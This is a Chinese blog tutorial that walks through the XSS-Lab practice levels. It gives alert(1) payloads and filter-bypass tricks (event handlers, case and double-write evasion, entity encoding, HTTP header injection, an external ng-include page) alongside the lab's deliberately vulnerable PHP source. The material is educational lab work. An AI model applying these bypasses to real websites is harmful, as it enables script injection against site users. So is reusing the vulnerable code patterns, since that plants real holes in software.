XSSLab保姆级教程

vwv 2022-02-16 10:30:00

0x00 背景

XSSCross-Site Scripting)即为跨站脚本攻击。XSS-Lab是一个XSS的练习平台。可以在BUUOJ上很方便的进行练习。以下是我在做XSS-Lab的时候总结的题解和一些思路,给想要刷题的同学提供一些参考。

0x01 通用payload

  • <script>alert(1)</script>
  • 可以直接加入新标签 level1
  • 闭合原有标签后可以加入新标签 level2
  • onmouseover='javascript:alert(1)'或者onmouseover=alert(1)
  • 使用了html实体编码 level3 level17 level18
  • 闭合原有标签后过滤了<> level4
  • onclick=alert(1)
  • 闭合原有标签后过滤了<> level10
  • <a href=javascript:alert(1)>
  • 绕过过滤了<script>onmouseover level5
  • <a img=0 onerror=alert(1)>
  • 没有现成可填充标签且过滤了script level16
  • Tips
  • 过滤<script>可以<Script>也可以<script >(空格只能在结尾)level6
  • 绕过使用str_replace过滤为空,双写法 level7
  • payload进行html编码绕过 level8 level9
  • 空格可以用%0a替换 level16
  • 通过改HTTP头部来做到XSS
  • HTTP_REFERERHTTP头中加入Referer level11
  • HTTP_USER_AGENTHTTP头中加入User-Agent level12
  • COOKIEHTTP头中加入COOKIE信息 level13

  • angularng-include函数,可以包含外部的html页面。在服务器上写一个弹窗的页面,在原来的页面包含此页面。

  • 绕过CORS可以使用加入使用在HTTP头中加入允许所有域名访问。level-15

0x02 题解

level-1

所传入的参数中可以直接包含XSS代码

<h1>test</h1>

<h1><script>alert(1)</script></h1>

进入页面,给出了一个参数是name,我们尝试传入参数为test,查看源代码,如下图,此时的参数是在<h2>xxx</h2>标签中

image-20220203183141980

所以我们直接尝试弹窗,构造payloadtest<script>alert(123)</script>

image-20220203201050716

image-20220203183640608

level-2

构造闭合的条件

<input name=keyword value="test">

<input name=keyword value="test"><script>alert(1)</script>.

进入页面,给出了一个参数是keyword,我们尝试传入参数为test,查看源代码,如下图,此时的参数是在<input name=keyword value="test">

image-20220203201909347

如果我们想要插入alert的代码,我们可以尝试构造如下

<input name=keyword  value="test"><script>alert(123)</script>

进入页面,我们直接尝试弹窗,构造payload"><script>alert(1)</script>

image-20220203203331320

image-20220203201747591

level-3

绕过html实体编码

<input value='test'>

<input value='test' onmouseover='javascript:alert(1)'>

进入页面,给出了一个参数是keyword,我们尝试传入参数为test,查看源代码,如下图,此时的参数是在<input name=keyword value='test'>

image-20220203203726259

和上道题目类似,只不过此时用来闭合value的为单引号,我们尝试payload'><script>alert(1)</script>,查看源代码如下图

image-20220203210306850

我们输入的<>被转义成了&lt;&gt;

查找资料,这里采用了实体编码htmlspecialchars,htmlspecialchars() 函数可以把一些预定义的字符转换为 HTML 实体。

& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 &#039
< (小于)成为 &lt;
> (大于)成为 &gt;

可用的引号类型:

ENT_COMPAT 默认 仅编码双引号

ENT_QUOTES 编码双引号和单引号

ENT_NOQUOTES 不编码任何引号

所以此处我们不能选择有<>的方式,但是可以使用不带有尖括号的特殊字符进行尝试:

onmouseover函数在鼠标指针移动到元素上被触发,onmouseover = 'javascript:alert(1)',在鼠标指针移动到元素会弹窗alert(1)

闭合引号,构造payload'onmouseover = 'javascript:alert(1)

image-20220203205111684

image-20220203205337044

level-4

绕过<>被过滤

<input value='test'>

<input value='test' onmouseover='javascript:alert(1)'>

进入页面,给出了一个参数是keyword,我们尝试传入参数为test,查看源代码,如下图,此时的参数是在<input name=keyword value='test'>

image-20220203205515934

用来闭合value的为双引号,我们尝试payload"><script>alert(1)</script>,查看源代码如下图

image-20220203210012954

当我们传入的payload中包含<>就会被删除,所以和上道题一样,我们传入的payload中不能包含<>,根据上道题的经验构造payload"onmouseover = "javascript:alert(1)(注意此时用来闭合的为"

image-20220203205848281

image-20220203205755008

level-5

绕过过滤了script

  • 大小写
  • 使用空格绕过
  • <a href="javascript:alert(1)">

进入页面,给出了一个参数是keyword,我们尝试传入参数为test,查看源代码,如下图,此时的参数是在<input name=keyword value='test'>

image-20220203210904182

用来闭合value的为双引号,我们尝试payload"><script>alert(1)</script>,查看源代码如下图

image-20220203211034015

我们传入的payload中的<script>被替换成了</scr_ipt>

构造payload" onmouseover="javascript:alert(1)

image-20220206000322694

我们传入的payload中的onmouseover被替换成了o_nmouseover

有什么解决方法呢?

  • 使用大小写绕过,html对大小写不敏感
  • 可以使用超链接的方式<a href="javascript:alert(1)">,注意闭合标签,构造payloadtest"><a href="javascript:alert(1)
  • 这里对script的过滤是对<script进行的过滤,若是对整体<script>过滤的话,我们可以使用<script >来绕过.
  • 空格只能加在尾部,< script>是不符合要求的。

以下我们使用超链接的方法绕过

image-20220203211731860

此时的页面有一个_

image-20220203212327417

点击此处

image-20220203212235896

level-6

大小写过滤

进入页面,给出了一个参数是keyword,我们尝试传入参数为test,查看源代码,如下图,此时的参数是在<input name=keyword value="test">

image-20220203213246732

用来闭合value的为双引号,我们还是尝试payload"><script>alert(1)</script>,查看源代码如下图

image-20220206000846872

<script>还是被过滤了

image-20220206001015477

onmouseoverhref都被过滤了,我们就直接使用大小写过滤就轻松绕过了。

payload"><Script>alert(1)</scripT>

image-20220206000805662

level1-level6 都比较容易盲测

从level7开始,个人建议在对照github上的源码再进行练习。

level-7

绕过`str_replace函数

双写绕过

直接看源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

使用php中的str_replace函数对scriptonsrcdatahref进行了过滤,将关键字替换为空,且无法使用大小写绕过。但是str_replace函数只会替换一次,因此我们可以使用双写来绕过。

payloadtest" oonnmouseover="javascript:alert(1),构成的完成句子如下

<input name=keyword value="test" oonnmouseover="javascript:alert(1)">

image-20220206002702853

image-20220206002526558

level-8

html编码绕过过滤

直接看源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

本题在level-7的基础上多过滤了一个",且关键词不是被过滤为空,所以不能用双写的方法绕过。我们level-7paylaod无法使用,我们此时可以构成的是payload恰好可以在<a>标签里面,自然而然就想到构成<a href="javascript:alert(1)">payloadjavascript:alert(1)

javascript代码使用html编码,就可以避免payload中的script被过滤了。

payload&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

image-20220206005303702

level-9

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

本题在level-8的基础上,payload中必须要包含http。我们可以直接用注释符将后来的内容注释掉,我们填进去的http://不会对原来的句子造成影响。payloadjavascript:alert(1) //http://,填充payload之后如下:

<a href="javascript:alert(1) //http:// 

再使用html编码之后,payload&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29; //http://

image-20220206010732497

image-20220205231328214

level-10

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

发现str33是可以通过t_sort传入参数的。

可以使用payload?t_sort=test" type="text" onmouseover="javascript:alert(1)

当然也可以使用onclick属性构成payload?t_sort=test type="text" onclick=alert(1)

此时构成的input如下

<input name="t_sort"  value="test" type="text" onclick=alert(1) type="hidden">

image-20220205010351687

level 11-level13 都是通过更改HTTP头来做到XXS

level-11

HTTP_REFERER

HTTP头中加入Referer

进入页面,直接查看源代码,如下图所示。

image-20220204103546967

尝试传入参数,发现只有t_sort是可用的,但是引号会被转义,传入的payload中的引号同时也被转义。目前看起来没有什么可以利用的点。

image-20220204125601719

查看源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

查看源代码可知,HTTP_REFERER过滤了<>之后赋值给了t_ref,我们可以构造$str33test" type="text" onclick="alert(1),此时构成的标签如下:

<input name="t_ref value="test" type="text" onclick="alert(1)" type="hidden">

可以使用burpHTTP头中加入Referer: test" type="text" onclick="alert(1),这样就可以发送HTTP_REFERER

image-20220204124722970

在浏览器中打开

image-20220204124803380

level-12

HTTP_USER_AGENT

HTTP头中加入User-Agent

直接查看源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

level-11类似,只不过这次要添加的头部信息是HTTP_USER_AGENT$str33test" type="text" onclick="alert(1)"

此时input标签内容如下

<input name="t_ua" value="test" type="text" onclick="alert(1)">

利用burp改包

image-20220204131001910

image-20220204130937755

level-13

COOKIE

HTTP头中加入COOKIE信息

直接查看源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

level-11类似,只不过这次要添加的头部信息是$_COOKIE$str33test" type="text" onclick="alert(1)"

此时input标签内容如下

<input name="t_ccok" value="test" type="text" onclick="alert(1)">

利用burp改包

image-20220206020116854

image-20220206020138327

level-14

level-14的环境出现问题

level-15

angularng-include函数,可以包含外部的html页面。

在服务器上写一个弹窗的页面,在原来的页面包含此页面。绕过CORS可以使用加入使用在HTTP头中加入允许所有域名访问。

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

ng-includeAngularjs中的指令,可以包含外部的html文件。所以我们可以用来包含一个存在XSS的页面,最简单的思路就是包含一个前面我们已经打通的页面,但是并没有打通。

另辟蹊径,我们也可以自己在服务器上传一个存在XSS的页面,然后payload中包含这个页面。

构造存在XSS的页面的代码如下:

<html>
    <img src=1 onerror="alert(123)">
</html>

payloadsrc='http://xxx.xxx.xxx.xxx.xxx'

但是并没有成功,检查一下页面

image-20220205003424079

注意到因为CORS被阻拦,我们在HTTP头中加入允许所有域名访问

<?php
 header('Access-Control-Allow-Origin:*'); 
?>
<html>
    <img src=1 onerror="alert(123)">
</html>

成功

image-20220205003120924

level-16

没有现成可填充标签且过滤了script标签

<a img=0 onerror=alert(1)>

查看源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>

我们通过get参数传入的keyword,过滤了/script,可以显示在中间的位置。

构造payload<img src=0 onerror=alert(1)>,过滤的空格可以用%0a替换,最终的payload?keyword=<img%0asrc=0%0aonerror=alert(1)>

image-20220204225049461

level-17

传参不严格造成XSS

onmouseover=alert(1)

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!"); 
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

传入的参数都经过htmlspecialchars处理,因此payload中不能包含&"'<>。传参的同时,可以进行XSS

arg01=1&arg02=2 onmouseover=alert(1)

image-20220205000915358

image-20220205000953227

level-18

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level19.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

几乎和level-18一样,payloadarg01=1&arg02=2 onmouseover=alert(1)

image-20220205000651211

image-20220205000613602

level-19 level-20

level-19 level-20 都属于flash xss类型,在此不做讨论。

0x03 参考链接

评论

secdragon 2022-02-16 10:34:14

建议搭配这篇9年前的文章一起看,有一些payload可能失效了,但是思路还是一样的:https://tttang.com/archive/1194/

V

vwv

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

渗透测试 文章:154 篇
XSS 文章:34 篇
Ruby安全 文章:2 篇
Java安全 文章:34 篇
MongoDB安全 文章:3 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录